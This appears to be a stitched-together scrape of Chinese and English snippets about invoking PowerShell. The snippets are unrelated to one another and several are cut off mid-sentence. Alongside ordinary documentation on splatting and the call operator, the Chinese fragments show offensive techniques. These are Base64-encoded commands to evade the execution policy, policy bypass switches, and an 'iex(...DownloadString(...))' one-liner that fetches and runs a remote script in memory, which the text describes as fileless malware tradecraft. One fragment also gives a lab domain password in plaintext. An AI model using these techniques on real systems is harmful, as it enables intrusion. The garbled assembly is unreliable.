使用编码的方式执行whoami命令,我们首先使用下面的命令来进行编码 $command="whoami"$bytes= [System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand= [Convert]::ToBase64String($bytes)echo$encodedCommand 这串代码执行完之后就会打印出编码结果,之后直接执行即可powershell.exe -EncodedCommand $encodedComman...
示例:powershell.exe -command “iex(New-Object Net.WebClient).DownloadString(‘http://[REMOVED]/myScript.ps1’)” 3、使用EncodedCommand参数执行单个Base64编码的命令。这将从执行策略排除命令。 示例:powershell.exe -enc [ENCODED COMMAND] 4、使用执行策略指令并传递“Bypass ”或“Unrestricted ”作为论据。
其中$User是新建的普通域用户账号,$Pass中的字符串“4rfv5tgb.”是域用户密码,$Session中的URI“WIN-EN5J2DQFIF3.BeaconTowerLab.local”是Exchange提供的远程PowerShell访问链接,请注意这里是HTTP协议,域名是Exchange服务器的域名。登录成功后,就可以执行Exchange提供的PowerShell cmdlet管理邮件服务器。比如执行 Get...
DownloadString()并不会将文件下载到磁盘中,相反,该方法会将远程文件的内容直接载入受害者主机的内存中。这些文件通常为恶意脚本,攻击者可以使用Powershell的–Command参数在内存中直接执行这些文件。无文件恶意软件中经常用到这种技术,以便在内存中直接执行恶意脚本,而无需将任何文件保存到磁盘中。攻击者经常使用这种技术...
Set-CimInstance[-ComputerName <String[]>] [-Namespace <String>] [-OperationTimeoutSec <UInt32>] [-Query] <String> [-QueryDialect <String>]-Property<IDictionary> [-PassThru] [-WhatIf] [-Confirm] [<CommonParameters>] 说明 此cmdlet 仅在 Windows 平台上可用。
Program.exe arguments ScriptName.ps1 arguments BatchFile.cmd arguments To run a command that contains a space in its name, enclose its filename in singlequotes (‘) and precede the command with an ampersand (&), known in PowerShell as the Invoke operator: ...
Use splatting to pass parameter values You can use splatting to represent the parameters of a command. This feature is introduced in Windows PowerShell 3.0. Use this technique in functions that call commands in the session. You don't need to declare or enumerate the command parameters, or ch...
When splatting, you do not need to use a hash table or an array to pass all parameters. You may pass some parameters by using splatting and pass others by position or by parameter name. Also, you can splat multiple objects in a single command so you don't pass more than one value ...
powershell.exe -Command "& {Get-WinEvent -LogName Security}" If the value of Command is a string, Command must be the last parameter for pwsh, because all arguments following it are interpreted as part of the command to execute. When called from within an existing PowerShell session, the...
But there are other ways to start a Windows PowerShell console. You can use the Search box on the Start menu, use the Run dialog box, or typepowershellin an open command-shell window. These techniques allow you to pass arguments to Windows PowerShell, including switches that control how ...